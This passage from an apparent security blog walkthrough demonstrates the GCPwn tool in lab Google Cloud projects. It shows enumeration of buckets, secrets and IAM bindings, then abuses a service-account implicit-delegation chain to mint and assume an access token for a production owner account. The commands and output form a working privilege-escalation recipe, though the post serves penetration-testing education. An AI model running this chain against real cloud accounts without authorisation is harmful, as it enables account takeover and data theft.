production-project-1-426001 [*] Checking production-project-1-426001 for buckets/blobs via LIST buckets... [**] Reviewing bucket-to-see-how-much-stuff-121212121212 [***] GET Bucket Object [X] 403 The user does not have storage.buckets.get permissions on bucket bucket-to-see-how-much-stuff-121212121212 [***] TEST Bucket Permissions [***] LIST Bucket Blobs [X] 403: The user does not have storage.objects.list permissions on [**] Reviewing gcf-v2-sources-506260596801-us-central1 [***] GET Bucket Object [X] 403 The user does not have storage.buckets.get permissions on bucket gcf-v2-sources-506260596801-us-central1 [***] TEST Bucket Permissions [***] LIST Bucket Blobs [X] 403: The user does not have storage.objects.list permissions on [**] Reviewing gcf-v2-uploads-506260596801-us-central1 [***] GET Bucket Object [X] 403 The user does not have storage.buckets.get permissions on bucket gcf-v2-uploads-506260596801-us-central1 [***] TEST Bucket Permissions [***] LIST Bucket Blobs [X] 403: The user does not have storage.objects.list permissions on [**] Reviewing testweoajrpjqfpweqjfpwejfwef [***] GET Bucket Object [X] 403 The user does not have storage.buckets.get permissions on bucket testweoajrpjqfpweqjfpwejfwef [***] TEST Bucket Permissions [***] LIST Bucket Blobs [X] 403: The user does not have storage.objects.list permissions on [SUMMARY] GCPwn found 4 Buckets (with up to 10 blobs shown each) in production-project-1-426001 - bucket-to-see-how-much-stuff-121212121212 - gcf-v2-sources-506260596801-us-central1 - gcf-v2-uploads-506260596801-us-central1 - testweoajrpjqfpweqjfpwejfwef *See all blobs with 'data tables cloudstorage-bucketblobs --columns bucket_name,name [--csv filename]' [*] Beginning Enumeration of SECRETS MANAGER Resources... [**] [production-project-1-426001] Reviewing projects/506260596801/secrets/test [***] GET Base Secret Entity [***] TEST Secret Permissions [***] LIST Secret Versions [****] GET Secret Version 2 [****] TEST Secret Version Permissions [****] GETTING Secret Values For 2 [****] GET Secret Version 1 [****] TEST Secret Version Permissions [****] GETTING Secret Values For 1 [**] [production-project-1-426001] Reviewing projects/506260596801/secrets/test-location [***] GET Base Secret Entity [***] TEST Secret Permissions [***] LIST Secret Versions [****] GET Secret Version 1 [****] TEST Secret Version Permissions [****] GETTING Secret Values For 1 [SUMMARY] GCPwn found 2 Secret(s) in production-project-1-426001 - test - 1: <value_not_found> - 2: <value_not_found> - test-location - 1: <value_not_found> [*] Beginning Enumeration of IAM Resources... [*] Checking production-project-1-426001 for service accounts... [SUMMARY] GCPwn found 1 Service Account(s) in production-project-1-426001 - productions-owner-role@production-project-1-426001.iam.gserviceaccount.com [*] Checking production-project-1-426001 for roles... [SUMMARY] GCPwn found or retrieved NO Custom Role(s) [***********] Ending enumeration for production-project-1-426001 [***********] [*]-------------------------------------------------------------------------------------------------------[*] [***********] Beginning enumeration for testbench-426001 [***********] [*]-------------------------------------------------------------------------------------------------------[*] [*] Beginning Enumeration of CLOUD COMPUTE Resources... [*] Checking testbench-426001 for instances... [X] STATUS 403: Compute API does not appear to be enabled for project testbench-426001 [SUMMARY] GCPwn found or retrieved NO Compute Instance(s) in testbench-426001 [*] Checking Cloud Compute Project testbench-426001... [X] STATUS 403: Compute API does not appear to be enabled for project testbench-426001 [SUMMARY] GCPwn found or retrieved NO Compute Project(s) with potential metadata shown below. [*] Beginning Enumeration of CLOUD FUNCTION Resources... [*] Checking testbench-426001 for functions... [X] 403 The Cloud Functions API is not enabled for projects/testbench-426001/locations/- [SUMMARY] GCPwn found or retrieved NO Function(s) in testbench-426001 [*] Beginning Enumeration of CLOUD STORAGE Resources... [*] Checking testbench-426001 for HMAC keys... [SUMMARY] GCPwn found or retrieved NO HMAC Key(s) with corresponding service accounts (SAs) in testbench-426001 [*] Checking testbench-426001 for buckets/blobs via LIST buckets... [SUMMARY] GCPwn found or retrieved NO Buckets (with up to 10 blobs shown each) in testbench-426001 [*] Beginning Enumeration of SECRETS MANAGER Resources... [*] Beginning Enumeration of IAM Resources... [*] Checking testbench-426001 for service accounts... [SUMMARY] GCPwn found 1 Service Account(s) in testbench-426001 - role-just-for-testing@testbench-426001.iam.gserviceaccount.com [*] Checking testbench-426001 for roles... [SUMMARY] GCPwn found or retrieved NO Custom Role(s) [*] Checking IAM Policy for Organizations... [*] Checking IAM Policy for Folders... [*] Checking IAM Policy for Projects... [*] Checking IAM Policy for Buckets... [X] 403: The user does not have storage.buckets.getIamPolicy permissions [X] 403: The user does not have storage.buckets.getIamPolicy permissions [X] 403: The user does not have storage.buckets.getIamPolicy permissions [X] 403: The user does not have storage.buckets.getIamPolicy permissions [X] 403: The user does not have storage.buckets.getIamPolicy permissions [X] 403: The user does not have storage.buckets.getIamPolicy permissions [X] 403: The user does not have storage.buckets.getIamPolicy permissions [*] Checking IAM Policy for CloudFunctions... [*] Checking IAM Policy for Compute Instances... [*] Checking IAM Policy for Service Accounts... [*] Checking IAM Policy for Secrets... [***********] Ending enumeration for testbench-426001 [***********] [*]-------------------------------------------------------------------------------------------------------[*]
Notice we found some interesting assets in the other projects. This includes a service account in each of the other projects. Assuming we were able to pull the policy bindings at the end, we can try process_iam_bindings to see if we get a nice role summary.
[*]-------------------------------------------------------------------------------------------------------[*] [TRUNCATED] [******] Summary for serviceAccount:deployer-service-account@staging-project-1-426001.iam.gserviceaccount.com [******] Service Accounts Summary - "projects/staging-project-1-426001/serviceAccounts/testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com" (in staging-project-1-426001) - roles/iam.serviceAccountUser [******] Summary for serviceAccount:my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com [******] Secret Manager Summary - "projects/239052134916/secrets/ServiceAccountHMACKeys-388372" (in staging-project-1-426001) - roles/secretmanager.secretAccessor [******] Summary for serviceAccount:role-just-for-testing@testbench-426001.iam.gserviceaccount.com [******] Service Accounts Summary - "projects/production-project-1-426001/serviceAccounts/productions-owner-role@production-project-1-426001.iam.gserviceaccount.com" (in production-project-1-426001) - roles/iam.serviceAccountTokenCreator [******] Summary for serviceAccount:testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com [******] Service Accounts Summary - "projects/staging-project-1-426001/serviceAccounts/testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com" (in staging-project-1-426001) - roles/iam.serviceAccountKeyAdmin - "projects/testbench-426001/serviceAccounts/role-just-for-testing@testbench-426001.iam.gserviceaccount.com" (in testbench-426001) - roles/iam.serviceAccountTokenCreator [******] Summary for user:fwdcloudsec2233@gmail.com [******] Cloud Compute Summary - "instance-20240630-025631" (in production-project-1-426001) - roles/compute.admin Service Accounts Summary - "projects/staging-project-1-426001/serviceAccounts/my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com" (in staging-project-1-426001) - roles/iam.serviceAccountKeyAdmin Secret Manager Summary - "projects/506260596801/secrets/test-location" (in production-project-1-426001) - roles/secretmanager.admin [TRUNCATED] [*]-------------------------------------------------------------------------------------------------------[*]
Reviewing the data above we see an interesting avenue of exploitation. Our current service account, testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com, in project staging-project-1-426001 has roles/iam.serviceAccountTokenCreator permissions over service account role-just-for-testing@testbench-426001.iam.gserviceaccount.com in project testbench-426001. This means testbench-serviceaccount-multi has iam.serviceAccounts.implicitDelegation over role-just-for-testing. Furthermore, the service account role-just-for-testing@testbench-426001.iam.gserviceaccount.com has roles/iam.serviceAccountTokenCreator permissions over service account productions-owner-role@production-project-1-426001.iam.gserviceaccount.com in production-project-1-426001. This means role-just-for-testing has iam.serviceAccounts.getAccessToken permissions over productions-owner-role. Thus, by implicit delegation testbench-serviceaccount-multi has iam.serviceAccounts.getAccessToken permissions over productions-owner-role (see diagram above in quick overview) and we should be able to just get an access token for the production service account.
We could also see part of this by runing the analyze_vulns module to see the first step for implicit delegation.
(staging-project-1-426001:testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com_1721548959.0264788)> modules run analyze_vulns [*]-------------------------------------------------------------------------------------------------------[*] [*****************] Anonymous and/or All Authenticated User Permissions [*****************] [X] No Anonymous Permissions were identified [X] No Arbitrary Authenticated User Permissions were identified [*****************] IAM Analysis (Roles) [*****************] [*] Performing IAM Analysis on Workspace Thus Far... [TRUNCATED] [******] Vuln Summary for serviceAccount:testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com [******] Service Accounts Summary - "projects/staging-project-1-426001/serviceAccounts/testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com" (in staging-project-1-426001) - 6:IAM_DIRECT:iam.serviceAccountKeys.create:IAM Service Accounts Service Keys Creator - Impacted DIRECT Role(s): roles/iam.serviceAccountKeyAdmin - 14:IAM_DIRECT:*.*.setIamPolicy:SetIAMPolicy on Respective Resource - Impacted DIRECT Role(s): roles/iam.serviceAccountKeyAdmin Service Accounts Summary - "projects/testbench-426001/serviceAccounts/role-just-for-testing@testbench-426001.iam.gserviceaccount.com" (in testbench-426001) - 4:IAM_DIRECT:iam.serviceAccounts.getAccessToken:IAM Service Accounts Access Token Creator - Impacted DIRECT Role(s): roles/iam.serviceAccountTokenCreator - 5:IAM_DIRECT:iam.serviceAccounts.implicitDelegation:IAM Implicit Delegation Allowed - Impacted DIRECT Role(s): roles/iam.serviceAccountTokenCreator - 8:IAM_DIRECT:iam.serviceAccounts.signBlob:IAM Service Accounts Sign Blob - Impacted DIRECT Role(s): roles/iam.serviceAccountTokenCreator - 9:IAM_DIRECT:iam.serviceAccounts.signJwt:IAM Service Accounts Sign JWT - Impacted DIRECT Role(s): roles/iam.serviceAccountTokenCreator - 14:IAM_DIRECT:*.*.setIamPolicy:SetIAMPolicy on Respective Resource - Impacted DIRECT Role(s): roles/iam.serviceAccountTokenCreator
To exploit this, we will use the exploit module, exploit_generate_access_token, which supports both generating access tokens via a direct link to a service account or though implicit delegation like we are about to attempt. Instead of having to supply all the service accounts in the implicit delegation chain (which you could if you wanted via module flags), we will leverage the “–all-delegation” flag which will auto-detect implicit delegation routes in the enumerated data thus far and present us with implicit delegation routes to choose from. The only catch is the caller needs to have implicit delegation rights on the starting node. In this case we know we have implicit delegation rights over role-just-for-testing so we just choose option 2, and we’re done. Note this will hopefully be a lot cleaner/refactored in the future but demonstrates the core functionality of auto-finding delegation routes.
(staging-project-1-426001:testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com_1721548959.0264788)> modules run exploit_generate_access_token --all-delegation [*]-------------------------------------------------------------------------------------------------------[*] > Choose a path from below to attempt implicit delegation. Note this will only work on fields that give access tokens, but those with impersonation are also shown for your benefit >> [1] serviceAccount:testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com (ACCESS TOKEN) -> [testbench-426001] - role-just-for-testing@testbench-426001.iam.gserviceaccount.com >> [2] serviceAccount:role-just-for-testing@testbench-426001.iam.gserviceaccount.com (ACCESS TOKEN) -> [production-project-1-426001] - productions-owner-role@production-project-1-426001.iam.gserviceaccount.com >> [3] serviceAccount:testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com (IMPERSONATE) -> [testbench-426001] - role-just-for-testing@testbench-426001.iam.gserviceaccount.com (ACCESS TOKEN) -> [production-project-1-426001] - productions-owner-role@production-project-1-426001.iam.gserviceaccount.com > Impersonation routes are provided below. Note these do not end in getting an access token but are still provided for your visiblity. >> serviceAccount:role-just-for-testing@testbench-426001.iam.gserviceaccount.com (IMPERSONATE) -> [production-project-1-426001] - productions-owner-role@production-project-1-426001.iam.gserviceaccount.com >> serviceAccount:testbench-serviceaccount-multi@staging-project-1-426001.iam.gserviceaccount.com (IMPERSONATE) -> [testbench-426001] - role-just-for-testing@testbench-426001.iam.gserviceaccount.com (IMPERSONATE) -> [production-project-1-426001] - productions-owner-role@production-project-1-426001.iam.gserviceaccount.com > [4] Exit > Choose an option: 2 [*] Successful API Call. Access Token will last until 2024-07-22 04:22:53+00:00: [*] Token: ya29.c.c0ASRK0GZ_v8[REDACTED] > Do you want to assume the new credentials? [y/n]y [*] Project ID of credentials is: staging-project-1-426001 [*] Credentials successfully added Loading in OAuth2 token. Note it might be expired based on how long its existed... [*] Loaded credentials productions-owner-role@production-project-1-426001.iam.gserviceaccount.com_07212024_2322_UTC [*]-------------------------------------------------------------------------------------------------------[*] (staging-project-1-426001:productions-owner-role@production-project-1-426001.iam.gserviceaccount.com_07212024_2322_UTC)> projects [*] Current projects known for all credentials: my-private-test-project-430102 staging-project-1-426001 production-project-1-426001 testbench-426001 (staging-project-1-426001:productions-owner-role@production-project-1-426001.iam.gserviceaccount.com_07212024_2322_UTC)> projects set production-project-1-426001 (production-project-1-426001:productions-owner-role@production-project-1-426001.iam.gserviceaccount.com_07212024_2322_UTC)> creds info Summary for productions-owner-role@production-project-1-426001.iam.gserviceaccount.com_07212024_2322_UTC: Email: productions-owner-role@production-project-1-426001.iam.gserviceaccount.com Scopes: - N/A Default Project: staging-project-1-426001 All Projects: - my-private-test-project-430102 - production-project-1-426001 - staging-project-1-426001 - testbench-426001 Access Token: ya29.c.c0ASRK0GZ[REDACTED]
And voila there it is, we are now the service account in the new project (note we have to “projects set” it after changing)
Final Notes; TLDR
This concludes the sample exploit scenario which covered several enumeration, exploit, and process modules. A wiki article should be released in the near future explaining how you can add your own modules/add pull requests. In the meantime feel free to add issues/pull requests as you run into bugs as the tool continues to be refactored/improved.
Explore more blog posts
Q&A with Jonathan Armstrong: An Inside Look at CREST Accreditation
Explore the role of CREST accreditation in cybersecurity, its link to DORA, and insights from Jonathan Armstrong on its future in the security industry.
2025 Cybersecurity Trends That Redefine Resilience, Innovation, and Trust
Explore how 2025’s biggest cybersecurity trends—AI-driven attacks, deepfakes, and platformization—are reshaping the security landscape.
The Attack Surface is Changing – So Should Your Approach
Discover the pitfalls of DIY attack surface management and why NetSPI's solutions offer superior security and efficiency.